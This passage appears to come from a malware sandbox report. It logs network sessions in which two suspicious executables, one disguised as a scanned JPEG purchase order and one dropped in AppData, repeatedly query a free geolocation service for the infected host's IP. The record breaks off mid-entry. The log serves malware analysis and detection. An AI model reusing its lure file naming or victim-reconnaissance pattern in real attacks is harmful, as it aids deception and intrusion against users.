2024-10-25 07:18:09 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49747	188.114.97.3	443	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:10 UTC	63	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-25 07:18:10 UTC	890	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:10 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 366 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DnellMpwvDTAd74LG%2FiKfgSyTUtY0KiaqxtDByBNj8OnVpeSUBnKi3Kh4o%2FZKFc0183id6LTc2RXSCbfL88vlpUZrorrss3ZD8LBUwMaNoBUsFO3kmar75Xk06daSP7FCn11tLNn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806e5b4d98a918-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1565&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1790970&cwnd=177&unsent_bytes=0&cid=0b8b596208c61290&ts=146&x=0"
2024-10-25 07:18:10 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49748	188.114.97.3	443	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:10 UTC	63	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-25 07:18:10 UTC	896	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:10 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 366 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3eTNNCKM0eqTg3uiRFos1CWJ8bKdR7tz%2F%2Bti3j7Ba%2FOOL2agw9FHBqTBqGK%2BAj6iS8NmYZhuN3UqHPErF08mbp1qr7X2EOfEsTB8djkNssi6VpTxJ2ltcS5U5H%2FcpxQRNB2b21An"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806e5dabff45ee-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1603&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1761557&cwnd=237&unsent_bytes=0&cid=a4d5c2ef30fcec59&ts=154&x=0"
2024-10-25 07:18:10 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49751	188.114.97.3	443	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:11 UTC	63	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-25 07:18:11 UTC	898	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:11 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 367 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nnrw85pfDRrAhuwjhxF3L4ersMmjAQo%2FJfZf6c%2Fu4aiGsEpX4e9%2FR7aP%2F%2FDlua3NBAGnLwYOpH1ZF5QDFAHGWkYP4CFBJzumZmuqm42eoBHHofhrFgD8noqDIPFQDk%2FPlmjGvoWQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806e648ad16b22-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2150&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1314571&cwnd=223&unsent_bytes=0&cid=6dbcc1ca65c95c1d&ts=167&x=0"
2024-10-25 07:18:11 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49752	188.114.97.3	443	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:12 UTC	63	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-25 07:18:12 UTC	901	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:12 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 368 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GWZGtAQIgj%2B97LmWwa%2BGppBRXgKraM7Cc9WpWfHfubZfAuofH28%2Bb%2BRS4IN8lSc3z%2FfQxRigqvzc%2BKyYO3%2B5tbXoEcvzd34Oo7VHCQY18jISm5Hfe0%2BPEQx3ow2dokzM2nsfZ6bt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806e679b3fddaf-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1231&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2360228&cwnd=32&unsent_bytes=0&cid=b29ab0b1a77c9936&ts=146&x=0"
2024-10-25 07:18:12 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49755	188.114.97.3	443	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:13 UTC	87	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-25 07:18:14 UTC	890	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:13 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 369 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aFXEiZ4vUllQSDESPFjf4cXmSjgcE1kn7kmj8Px%2B06pXzEVY5Cw89sufammr80NxJjirxHt9y9AhDdRPuKZSPLXrU43yBFczoKl7zUOOyDH01%2F4iU6bPuZ3E8s64XIxQ3Vx2TfjB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806e713a9e4859-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1159&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=2448013&cwnd=244&unsent_bytes=0&cid=9ae1a1cf9cd084dc&ts=298&x=0"
2024-10-25 07:18:14 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49756	188.114.97.3	443	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:14 UTC	87	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-25 07:18:14 UTC	888	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:14 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 370 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IRCqsyAYcHWlVg9Y1w8fp7qJu554I2rtOJsInUZQDFNEbLGCAKPzvXT93HH9C0PCtNK9ZTpKp7mmfHSrPAyharpXHvN7fJ1LQY712G6CXse%2BHnARmVlKD4t5lB6AkECGe8Y1FtkJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806e752ec7ea80-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1103&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2520452&cwnd=248&unsent_bytes=0&cid=ba7ea7d07f633af7&ts=153&x=0"
2024-10-25 07:18:14 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49759	188.114.97.3	443	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:15 UTC	87	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-25 07:18:16 UTC	892	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:15 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 371 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zPOAooMnd6dcZj%2F5g4dYj930LsC5ZYFSjNooUFxXE1NMhLBfaNxSafVLGx19xV1XbzN4sQcdwEt4Ow4e6xUfg75MjWxf7GXNsnf%2FhNh7u%2BbeztfzaczOeL5fnzIVm41LNj6x1lqq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806e7dcad2e9b1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2498&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=701&delivery_rate=1155165&cwnd=241&unsent_bytes=0&cid=435285e94817bd3d&ts=150&x=0"
2024-10-25 07:18:16 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49761	188.114.97.3	443	1260	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:16 UTC	63	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-25 07:18:16 UTC	894	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:16 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 372 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3ZdXhcel2Pi3EsUhWTUtLmKj%2FHWlckn6iFYBIOd0L7wjNd%2BCeFWtHrFwfmEUUM9WUbci8ygCC1M75Pa5pkv%2FZyeTJvEWNb%2BT6yTLdFDO4PQ0s41NOzykrG29eMQ0OFct5FqE6DwG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806e820cd76b0b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1758&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1661503&cwnd=251&unsent_bytes=0&cid=db0d3f7751c7b4c7&ts=152&x=0"
2024-10-25 07:18:16 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-25 07:18:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49764	188.114.97.3	443	7448	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 07:18:17 UTC	87	OUT	GET /xml/173.254.250.81 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-25 07:18:17 UTC	906	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 07:18:17 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 373 Last-Modified: Fri, 25 Oct 2024 07:12:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sqM%2BAHA8RsIHZDRkpoYSiZejlvCW0ydhooyknZvYJN%2BagNv4Ie2Kg%2BL6cn%2BIIpLn%2BDIH8mXouAn70JuMXy6pUDBFqwxL1ge6ab1YYN%2BFwc5e%2B8n2evai%2F3yvOGn1GJ%2Fe%2BihfVBdS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d806e86ba76ddad-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1212&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2851&recv_bytes=701&delivery_rate=2311252&cwnd=175&unsent_bytes=0&cid=a9a73524fa8bb71e&ts=147&x=0"
2024-10-25 07:18:17 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.81</IP><CountryCode>US</CountryCode><CountryName>United 